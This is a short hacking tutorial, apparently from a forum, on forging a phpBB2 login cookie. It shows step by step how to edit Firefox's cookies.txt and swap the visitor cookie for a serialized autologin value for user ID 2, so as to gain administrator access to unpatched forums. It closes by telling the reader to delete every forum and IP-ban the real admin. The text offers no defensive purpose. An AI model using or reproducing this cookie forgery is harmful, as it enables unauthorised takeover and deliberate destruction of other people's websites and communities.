Hack forum
Just visit the forums in Mozilla FireFox.
2. Close the browser.
3. Open cookies.txt (located at "C:\Documents and
Settings\username\Application\
Data\MozillaFirefox\Profiles\blah.default"). You have to view hidden
files and folders to see Application Data.
4. Look for something like this:
---------------------------------------------------------------------------------------------------------------
127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data a%3A0%3A%7B%7D
---------------------------------------------------------------------------------------------------------------//
127.0.0.1 is the domain for the forum. a%3A0%3A%7B%7D is the cookie
data. It says you are a visitor.
5. Open cookies.txt with your text editor, I used WordPad, and replace
---------------------------------------------------------------------------------------------------------------
127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data a%3A0%3A%7B%7D
---------------------------------------------------------------------------------------------------------------//
with
---------------------------------------------------------------------------------------------------------------
127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data
a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs% 3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D
---------------------------------------------------------------------------------------------------------------//
save cookies.txt.
6. Open your browser again and go directly to the forums. You should
now be logged in as an admin! This doesn't always work though, as some
forums have security patches installed.
Destroy everything by going to the admin control panel and deleted
every forum. Then do an IP ban on the admin..
